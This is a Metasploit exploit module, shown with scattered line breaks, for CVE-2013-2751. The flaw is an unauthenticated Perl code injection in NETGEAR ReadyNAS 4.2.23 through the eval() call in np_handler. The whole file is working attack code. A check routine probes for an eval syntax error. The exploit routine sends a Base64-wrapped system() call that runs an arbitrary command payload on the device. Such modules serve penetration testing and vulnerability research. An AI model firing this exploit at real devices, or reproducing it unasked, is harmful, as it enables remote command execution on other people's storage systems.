require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'NETGEAR ReadyNAS Perl Code Evaluation'
,
'Description'
=> %q{
This
module
exploits a Perl code injection on
NETGEAR
ReadyNAS
4
.
2
.
23
and
4
.
1
.
11
. The
vulnerability exists on the web fronted, specifically on the np_handler.pl component,
due to the insecure usage of the eval() perl function. This
module
has been tested
successfully on a
NETGEAR
ReadyNAS
4
.
2
.
23
Firmware emulated environment,
not
on real
hardware.
},
'Author'
=>
[
'Craig Young'
,
'hdm'
,
'juan vazquez'
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'2013-2751'
],
[
'OSVDB'
,
'98826'
],
[
'URL'
,
'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/'
],
[
'URL'
,
'http://www.tripwire.com/register/security-advisory-netgear-readynas/'
]
],
'Platform'
=> [
'unix'
],
'Arch'
=>
ARCH_CMD
,
'Privileged'
=>
false
,
'Payload'
=>
{
'Space'
=>
4096
,
'DisableNops'
=>
true
,
'Compat'
=>
{
'PayloadType'
=>
'cmd'
,
'RequiredCmd'
=>
'generic perl telnet'
}
},
'Targets'
=>
[
[
'NETGEAR ReadyNAS 4.2.23'
, { }]
],
'DefaultOptions'
=>
{
'SSL'
=>
true
},
'DefaultTarget'
=>
0
,
'DisclosureDate'
=>
'Jul 12 2013'
))
register_options(
[
Opt::
RPORT
(
443
)
],
self
.
class
)
end
def
send_request_payload(payload)
res = send_request_cgi({
'uri'
=> normalize_uri(
"/np_handler"
,
""
),
'vars_get'
=> {
'PAGE'
=>
'Nasstate'
,
'OPERATION'
=>
'get'
,
'SECTION'
=> payload
}
})
return
res
end
def
check
res = send_request_payload(
")"
)
if
res
and
res.code ==
200
and
res.body =~ /syntax error at \(eval/
return
Exploit::CheckCode::Vulnerable
end
return
Exploit::CheckCode::Safe
end
def
exploit
my_payload =
"#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
print_status(
"#{peer} - Executing payload..."
)
send_request_payload(my_payload)
end
end